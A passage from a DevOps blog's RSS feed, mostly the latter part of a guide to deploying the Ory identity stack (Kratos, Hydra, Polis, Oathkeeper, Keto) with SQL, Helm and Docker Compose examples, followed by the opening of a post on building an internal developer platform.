        <a href="#h3-oathkeeper-identity-and-access-proxy" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Oathkeeper - Identity and Access Proxy
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-oathkeeper-identity-and-access-proxy"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Oathkeeper is a reverse proxy that authenticates and authorizes incoming requests using zero-trust principles. It sits in front of your API, validates credentials, and mutates requests by adding auth headers before forwarding them upstream.</p>
<p><strong>You might not need this.</strong> If your application already validates tokens (for example, by checking JWTs against the OIDC discovery endpoint), Oathkeeper adds an unnecessary layer. It&#39;s most useful when you have multiple services and want to centralize auth at the proxy level instead of implementing token validation in each one.</p>
<h3 id="h3-keto-fine-grained-authorization" class="group relative scroll-mt-24">
        <a href="#h3-keto-fine-grained-authorization" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Keto - Fine-Grained Authorization
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keto-fine-grained-authorization"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Keto is an authorization engine inspired by Google&#39;s Zanzibar paper. It answers questions like &quot;is user X allowed to perform action Y on resource Z?&quot; and supports RBAC, ABAC, and ACL patterns.</p>
<p><strong>You probably don&#39;t need this either</strong> unless you&#39;re building a multi-service system that needs centralized, cross-service authorization policies. If your application has its own RBAC system, Keto would be redundant.</p>
<h2 id="h2-how-they-connect-together" class="group relative scroll-mt-24">
        <a href="#h2-how-they-connect-together" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          How They Connect Together
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-how-they-connect-together"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Here&#39;s how the components connect for a typical enterprise SSO setup:</p>
<pre><code class="hljs language-text">Customer&#x27;s IdP (Okta, Azure AD, etc.)
        |
        | SAML or OIDC
        v
   +---------+
   |  Polis  |  Translates SAML/OIDC --&gt; standard OAuth 2.0
   +---------+
        |
        | OAuth 2.0 / user identity
        v
   +---------+
   | Kratos  |  Stores user identities, manages sessions
   +---------+
        |
        | Login/consent delegation
        v
   +---------+
   |  Hydra  |  Issues OAuth2/OIDC tokens
   +---------+
        |
        | OIDC tokens (access_token, id_token)
        v
   +----------+
   | Nexboard |  Validates tokens via OIDC authenticator
   +----------+
</code></pre><h3 id="h3-the-authentication-flow-step-by-step" class="group relative scroll-mt-24">
        <a href="#h3-the-authentication-flow-step-by-step" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Authentication Flow Step by Step
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-authentication-flow-step-by-step"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Let&#39;s say you&#39;re building a B2B analytics dashboard called Nexboard that needs enterprise SSO. Here&#39;s how the flow works:</p>
<ol>
<li>A user visits Nexboard and needs to authenticate</li>
<li>Nexboard redirects to Hydra (the OIDC provider)</li>
<li>Hydra delegates to Kratos for login via the configured <code>login_url</code> and <code>consent_url</code></li>
<li>Kratos uses Polis for SAML/OIDC federation with the customer&#39;s identity provider</li>
<li>The customer authenticates with their IdP (for example, Okta via SAML)</li>
<li>Polis bridges the SAML response back to Kratos as a standard OAuth flow</li>
<li>Kratos confirms the identity to Hydra (login + consent)</li>
<li>Hydra issues OIDC tokens (access_token, id_token)</li>
<li>Nexboard validates the token using Hydra&#39;s OIDC discovery endpoint</li>
</ol>
<h3 id="h3-the-directory-sync-flow" class="group relative scroll-mt-24">
        <a href="#h3-the-directory-sync-flow" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          The Directory Sync Flow
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-directory-sync-flow"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Separately from authentication, Polis handles SCIM-based user provisioning:</p>
<ol>
<li>The customer configures SCIM in their identity provider (Okta, Azure AD)</li>
<li>The IdP pushes user and group changes to the Polis SCIM endpoint</li>
<li>Polis syncs those changes to Kratos, creating, updating, or deleting identities automatically</li>
<li>The result: when users are added or removed in the customer&#39;s IdP, they are automatically provisioned or deprovisioned in Nexboard&#39;s identity system</li>
</ol>
<p>This means you never have to manually manage user accounts for enterprise customers. Their IT team handles it through their existing tools.</p>
<h2 id="h2-database-architecture" class="group relative scroll-mt-24">
        <a href="#h2-database-architecture" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Database Architecture
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-database-architecture"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Each service gets its own database. They can share a PostgreSQL instance, but each needs a separate database:</p>
<table>
<thead>
<tr>
<th>Service</th>
<th>Database</th>
<th>Required Extensions</th>
</tr>
</thead>
<tbody><tr>
<td>Kratos</td>
<td><code>kratos</code></td>
<td><code>pg_trgm</code>, <code>btree_gin</code>, <code>uuid-ossp</code></td>
</tr>
<tr>
<td>Hydra</td>
<td><code>hydra</code></td>
<td><code>uuid-ossp</code></td>
</tr>
<tr>
<td>Polis</td>
<td><code>polis</code></td>
<td>None (standard Postgres)</td>
</tr>
</tbody></table>
<p>Set up the databases and extensions before deploying:</p>
<pre><code class="hljs language-sql"><span class="hljs-keyword">CREATE</span> DATABASE kratos;
<span class="hljs-keyword">CREATE</span> DATABASE hydra;
<span class="hljs-keyword">CREATE</span> DATABASE polis;

\c kratos
<span class="hljs-keyword">CREATE</span> EXTENSION IF <span class="hljs-keyword">NOT</span> <span class="hljs-keyword">EXISTS</span> pg_trgm;
<span class="hljs-keyword">CREATE</span> EXTENSION IF <span class="hljs-keyword">NOT</span> <span class="hljs-keyword">EXISTS</span> btree_gin;
<span class="hljs-keyword">CREATE</span> EXTENSION IF <span class="hljs-keyword">NOT</span> <span class="hljs-keyword">EXISTS</span> &quot;uuid-ossp&quot;;

\c hydra
<span class="hljs-keyword">CREATE</span> EXTENSION IF <span class="hljs-keyword">NOT</span> <span class="hljs-keyword">EXISTS</span> &quot;uuid-ossp&quot;;
</code></pre><h2 id="h2-oss-vs-enterprise" class="group relative scroll-mt-24">
        <a href="#h2-oss-vs-enterprise" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          OSS vs Enterprise
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-oss-vs-enterprise"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>All the core functionality for identity management, OAuth2 token issuance, SAML bridging, and SCIM directory sync is available in the open-source versions.</p>
<table>
<thead>
<tr>
<th>Feature</th>
<th>OSS</th>
<th>Enterprise (OEL)</th>
</tr>
</thead>
<tbody><tr>
<td>OIDC authentication</td>
<td>Yes (Kratos)</td>
<td>Yes</td>
</tr>
<tr>
<td>OAuth2 token issuance</td>
<td>Yes (Hydra)</td>
<td>Yes</td>
</tr>
<tr>
<td>SAML bridge</td>
<td>Yes (Polis/Jackson)</td>
<td>Yes</td>
</tr>
<tr>
<td>SCIM directory sync</td>
<td>Yes (Polis)</td>
<td>Yes</td>
</tr>
<tr>
<td>Resource Owner Password Credentials</td>
<td>No</td>
<td>Yes (Hydra OEL)</td>
</tr>
<tr>
<td>Custom token prefixes</td>
<td>No</td>
<td>Yes (Hydra OEL)</td>
</tr>
<tr>
<td>CVE patches with SLAs</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Premium support</td>
<td>Community only</td>
<td>Yes</td>
</tr>
</tbody></table>
<p>The enterprise images are hosted on Ory&#39;s private Google Artifact Registry and require a GCP service account key for access:</p>
<pre><code class="hljs language-bash"><span class="hljs-comment"># Create the pull secret for OEL images</span>
kubectl create secret docker-registry ory-oel-gcr-secret \
  --docker-server=europe-docker.pkg.dev \
  --docker-username=_json_key \
  --docker-password=<span class="hljs-string">&quot;<span class="hljs-subst">$(cat keyfile.json)</span>&quot;</span> \
  --docker-email=your-email@example.com
</code></pre><p>Enterprise makes sense when you need SLA-backed security patches and support. For getting started and validating your architecture, the OSS versions are fully functional.</p>
<h2 id="h2-which-components-do-you-actually-need" class="group relative scroll-mt-24">
        <a href="#h2-which-components-do-you-actually-need" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Which Components Do You Actually Need?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-which-components-do-you-actually-need"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Not every setup requires the full ecosystem. Here&#39;s a quick guide:</p>
<p><strong>Basic username/password auth:</strong></p>
<ul>
<li>Kratos only. It handles registration, login, recovery, and session management out of the box.</li>
</ul>
<p><strong>OAuth2/OIDC token issuance (API auth, third-party integrations):</strong></p>
<ul>
<li>Kratos + Hydra. Kratos manages identities, Hydra issues tokens.</li>
</ul>
<p><strong>Enterprise SSO (SAML customers, directory sync):</strong></p>
<ul>
<li>Kratos + Hydra + Polis. This is the full stack for B2B SaaS with enterprise customers.</li>
</ul>
<p><strong>Centralized auth proxy (zero-trust, multiple backend services):</strong></p>
<ul>
<li>Add Oathkeeper to any of the above if you want to validate tokens at the proxy layer instead of in each service.</li>
</ul>
<p><strong>Cross-service authorization (fine-grained RBAC/ABAC):</strong></p>
<ul>
<li>Add Keto if your application doesn&#39;t have its own authorization system and you need centralized policies across multiple services.</li>
</ul>
<p>Start with the minimum set and add components as the requirements grow. Each piece is independent and can be added later without rearchitecting.</p>
<h2 id="h2-deploying-on-kubernetes-with-helm" class="group relative scroll-mt-24">
        <a href="#h2-deploying-on-kubernetes-with-helm" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Deploying on Kubernetes with Helm
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-deploying-on-kubernetes-with-helm"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>All Ory components have official Helm charts:</p>
<pre><code class="hljs language-bash">helm repo add ory https://k8s.ory.sh/helm/charts
helm repo update

<span class="hljs-comment"># Deploy in order: databases first, then Kratos, then Hydra, then Polis</span>
helm install kratos ory/kratos -f kratos-values.yaml -n auth
helm install hydra ory/hydra -f hydra-values.yaml -n auth
</code></pre><p>For Polis, you may need a custom Helm chart or a plain Kubernetes deployment since it&#39;s based on the BoxyHQ Jackson project and may not have an official Ory Helm chart yet.</p>
<p>A few things to keep in mind:</p>
<ul>
<li>Run database migrations before starting services (<code>kratos migrate sql</code>, <code>hydra migrate sql</code>)</li>
<li>Use Kubernetes secrets for database DSNs and sensitive configuration</li>
<li>Set up proper ingress rules to expose only the public APIs (<code>4433</code>, <code>4444</code>, <code>5225</code>) and keep admin APIs (<code>4434</code>, <code>4445</code>) internal</li>
<li>Hydra&#39;s <code>login_url</code> and <code>consent_url</code> must point to your Kratos-backed login UI</li>
</ul>
<h2 id="h2-try-it-locally-with-docker-compose" class="group relative scroll-mt-24">
        <a href="#h2-try-it-locally-with-docker-compose" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Try It Locally with Docker Compose
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-try-it-locally-with-docker-compose"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before deploying to Kubernetes, you can spin up Kratos and Hydra locally to get a feel for how they work together:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># docker-compose.yml</span>
<span class="hljs-attr">version:</span> <span class="hljs-string">&quot;3.8&quot;</span>

<span class="hljs-attr">services:</span>
  <span class="hljs-attr">postgres:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">postgres:16</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">POSTGRES_USER:</span> <span class="hljs-string">ory</span>
      <span class="hljs-attr">POSTGRES_PASSWORD:</span> <span class="hljs-string">ory</span>
      <span class="hljs-attr">POSTGRES_MULTIPLE_DATABASES:</span> <span class="hljs-string">kratos,hydra</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;5432:5432&quot;</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">pg_data:/var/lib/postgresql/data</span>

  <span class="hljs-attr">kratos-migrate:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">oryd/kratos:v1.3.0</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">migrate</span> <span class="hljs-string">sql</span> <span class="hljs-string">-e</span> <span class="hljs-string">--yes</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">DSN:</span> <span class="hljs-string">postgres://ory:ory@postgres:5432/kratos?sslmode=disable</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">postgres</span>

  <span class="hljs-attr">kratos:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">oryd/kratos:v1.3.0</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">serve</span> <span class="hljs-string">-c</span> <span class="hljs-string">/etc/config/kratos.yml</span> <span class="hljs-string">--dev</span> <span class="hljs-string">--watch-courier</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">DSN:</span> <span class="hljs-string">postgres://ory:ory@postgres:5432/kratos?sslmode=disable</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4433:4433&quot;</span>  <span class="hljs-comment"># Public API</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4434:4434&quot;</span>  <span class="hljs-comment"># Admin API</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./kratos:/etc/config</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">kratos-migrate</span>

  <span class="hljs-attr">hydra-migrate:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">oryd/hydra:v2.3.0</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">migrate</span> <span class="hljs-string">sql</span> <span class="hljs-string">-e</span> <span class="hljs-string">--yes</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">DSN:</span> <span class="hljs-string">postgres://ory:ory@postgres:5432/hydra?sslmode=disable</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">postgres</span>

  <span class="hljs-attr">hydra:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">oryd/hydra:v2.3.0</span>
    <span class="hljs-attr">command:</span> <span class="hljs-string">serve</span> <span class="hljs-string">all</span> <span class="hljs-string">--dev</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-attr">DSN:</span> <span class="hljs-string">postgres://ory:ory@postgres:5432/hydra?sslmode=disable</span>
      <span class="hljs-attr">URLS_SELF_ISSUER:</span> <span class="hljs-string">http://localhost:4444</span>
      <span class="hljs-attr">URLS_LOGIN:</span> <span class="hljs-string">http://localhost:4433/self-service/login/browser</span>
      <span class="hljs-attr">URLS_CONSENT:</span> <span class="hljs-string">http://localhost:4433/self-service/login/browser</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4444:4444&quot;</span>  <span class="hljs-comment"># Public API</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">&quot;4445:4445&quot;</span>  <span class="hljs-comment"># Admin API</span>
    <span class="hljs-attr">depends_on:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">hydra-migrate</span>

<span class="hljs-attr">volumes:</span>
  <span class="hljs-attr">pg_data:</span>
</code></pre><pre><code class="hljs language-bash">docker compose up -d
<span class="hljs-comment"># Wait a few seconds for migrations</span>

<span class="hljs-comment"># Check Kratos is running</span>
curl http://localhost:4433/health/alive

<span class="hljs-comment"># Check Hydra&#x27;s OIDC discovery</span>
curl http://localhost:4444/.well-known/openid-configuration
</code></pre><p>This gives you a working Kratos + Hydra setup to experiment with. You can create identities, test login flows, and see how the two services interact before committing to a full Kubernetes deployment.</p>
<h2 id="h2-common-pitfalls" class="group relative scroll-mt-24">
        <a href="#h2-common-pitfalls" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Common Pitfalls
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-common-pitfalls"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A few things that trip people up when first working with Ory:</p>
<p><strong>Forgetting database migrations.</strong> Kratos and Hydra both require explicit migration steps before they&#39;ll start. If a pod keeps crash-looping, check if migrations ran successfully.</p>
<p><strong>Exposing admin APIs.</strong> The admin APIs (<code>4434</code> for Kratos, <code>4445</code> for Hydra) allow full identity and client management with no authentication. Never expose these outside your cluster. Use Kubernetes NetworkPolicies or keep them on ClusterIP services only.</p>
<p><strong>Headless means headless.</strong> Kratos has no login page. You need to build a frontend that calls Kratos APIs, or use the reference UI from Ory&#39;s GitHub. This catches people off guard if they&#39;re used to Auth0&#39;s hosted login page.</p>
<p><strong>Hydra does not authenticate users.</strong> This is the most common misconception. Hydra issues tokens, but it delegates the actual &quot;is this person who they say they are?&quot; question to Kratos (or whatever login UI you configure). If your login page isn&#39;t working, the problem is usually in the Kratos configuration or your custom UI, not in Hydra.</p>
<p><strong>Cookie domains and CORS.</strong> When running Kratos behind a different domain than your app, you&#39;ll hit CORS and cookie issues. Make sure <code>serve.public.cors</code> is configured in Kratos and that your cookie domain covers both your app and Kratos.</p>
<h2 id="h2-summary" class="group relative scroll-mt-24">
        <a href="#h2-summary" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Summary
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-summary"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The Ory ecosystem gives you a modular, open-source identity stack that you can deploy on your own infrastructure. The core trio of Kratos (identity), Hydra (tokens), and Polis (enterprise SSO) covers what most B2B applications need. Oathkeeper and Keto are there when you need them, but plenty of setups run fine without them.</p>
<p>The main tradeoff compared to managed auth services like Auth0 or Clerk is operational overhead. You&#39;re running and maintaining these services yourself. But you get full control, no per-user pricing, and no vendor lock-in. For teams already comfortable with Kubernetes, it&#39;s a solid alternative to managed identity platforms.</p>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[Building an Internal Developer Platform from Scratch]]></title>
      <link>https://devops-daily.com/posts/building-internal-developer-platform-from-scratch</link>
      <description><![CDATA[A step-by-step guide to designing and building an internal developer platform that gives your teams self-service infrastructure, faster deployments, and fewer tickets to the platform team.]]></description>
      <pubDate>Mon, 06 Apr 2026 09:00:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops-daily.com/posts/building-internal-developer-platform-from-scratch</guid>
      <category><![CDATA[DevOps]]></category>
      <author><![CDATA[DevOps Daily Team]]></author>
      <category><![CDATA[platform-engineering]]></category><category><![CDATA[developer-experience]]></category><category><![CDATA[idp]]></category><category><![CDATA[kubernetes]]></category><category><![CDATA[devops]]></category><category><![CDATA[self-service]]></category><category><![CDATA[backstage]]></category>
      <content:encoded><![CDATA[<p>Your platform team is drowning. Every new microservice means a Jira ticket: &quot;Please create a new namespace, set up the CI pipeline, configure the database, add monitoring dashboards.&quot; The requesting developer waits two days. Your platform engineer copies a Terraform module, tweaks three variables, and runs <code>terraform apply</code>. Both people just wasted time on something a form could handle.</p>
<p>This is the problem an <strong>internal developer platform</strong> (IDP) solves. Not by replacing your infrastructure tools, but by putting a self-service layer on top of them. Developers get what they need in minutes. Platform engineers stop being ticket machines and start building the platform itself.</p>
<p>This guide walks through building one from scratch, with real code you can adapt.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>An IDP is a self-service layer on top of your existing infrastructure (Terraform, Kubernetes, CI/CD)</li>
<li>Start with a service catalog and templates, not a custom UI</li>
<li>Use Backstage as your developer portal, or build a thin API layer with service templates</li>
<li>Define everything as templates: new services, databases, monitoring, CI pipelines</li>
<li>Golden paths reduce cognitive load without restricting flexibility</li>
<li>Measure success by time-to-first-deploy for new services, not portal adoption metrics</li>
</ul>
<hr>
<h2 id="h2-prerequisites" class="group relative scroll-mt-24">
        <a href="#h2-prerequisites" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Prerequisites
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-prerequisites"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><ul>
<li>A working Kubernetes cluster (or any container orchestration platform)</li>
<li>Terraform or OpenTofu for infrastructure provisioning</li>
<li>A CI/CD system (GitHub Actions, GitLab CI, or similar)</li>
<li>Basic understanding of YAML templating and REST APIs</li>
<li>Node.js 18+ (if using Backstage)</li>
</ul>
<hr>
<h2 id="h2-why-build-an-internal-developer-platform" class="group relative scroll-mt-24">
